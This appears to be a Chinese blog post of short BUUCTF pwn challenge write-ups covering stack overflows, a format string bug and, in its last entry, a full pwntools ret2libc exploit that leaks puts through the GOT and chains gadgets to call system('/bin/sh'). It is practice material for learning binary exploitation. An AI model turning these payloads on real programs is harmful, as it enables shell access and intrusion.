buuctf pwn

a1wAys 发布于 2025-04-26 39 次阅读


rip1

很简单的输入栈溢出,1h-Fh共有15个数,此文件为64位elf,再加8位填充rbp缓冲区,然后找到系统执行代码

从push的下一个开始,为401187,写脚本

成功

warmup_csaw_2016

gets栈溢出,距离rbp 40h位置,填充4*16+8(64位程序)字符后填入sub_40060D的地址即可

ciscn_2019_n_1

main函数执行func

func函数gets溢出,覆盖v2,直到system函数,共3*16+8位填充字符

pwn1_sctf_2016

直接看关键函数,i被替换成you,拓宽了,s距栈底ebp3C位,填充3*16+12+4字符,20个i加4个字符

找到getflag函数,查看地址

jarvisoj_level0

read溢出,距栈底80h位

找到/bin/sh地址

[第五空间2019 决赛]PWN5

printf格式化字符串漏洞

判断输入的偏移量为10位

找到全局变量dword位置

写脚本覆盖值为4(p32转化出的数字节长为4)

jarvisoj_level2

存在栈溢出,有system函数

找到/bin/sh参数,需要组合

ciscn_2019_n_8

很简单,var是8字节数组,每一个元素需要四个字符填充,它需要var[13]时等于17,填充前13个元素,13*4个字符,在输入p32(0x11)即可

bjdctf_2020_babystack

有后门的简单栈溢出,不多赘述

ciscn_2019_c_1

这题是ret2libc,重点在encrypt函数里,第一次写这种题,找到一个代码中出现的可输出字符函数(如本题puts)并找到它的本体虚拟地址puts_plt

elf=ElF(‘./ciscn_2019_c_1’) //创建项目

puts_plt=elf.plt['puts'] //找到桩代码

然后找一下pop rdi (用于可以在rdi中储存一个参数)

ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"

然后找到puts的真实地址(利用栈溢出覆盖返回地址到puts_plt)

p.recvuntil('Input your choice!')
p.sendline(b'1')
p.recvuntil('Input your Plaintext to be encrypted')
payload = b'\x00' + b'1'*0x4f + b'0'*8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['encrypt'])    //用got找到真实地址,在输出后返回存在栈溢出点的函数encrypt
p.sendline(payload)

# 接收puts地址
p.recvuntil(b'\x7f')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))  //找到6位地址,并用\x00填充到8位

计算出真实地址与虚拟地址的libc偏移量

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system") //找到system的虚拟地址
binsh_addr = libc_base + libc.dump("str_bin_sh") //找到字符串/bin/sh的虚拟地址
# 第二次溢出:调用system("/bin/sh")
p.recvuntil('Input your Plaintext to be encrypted')
payload = b'\x00' + b'1'*0x4f + b'0'*8 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

参考buuctf-pwn-ciscn_2019_c_1

此作者没有提供个人介绍
最后更新于 2025-04-26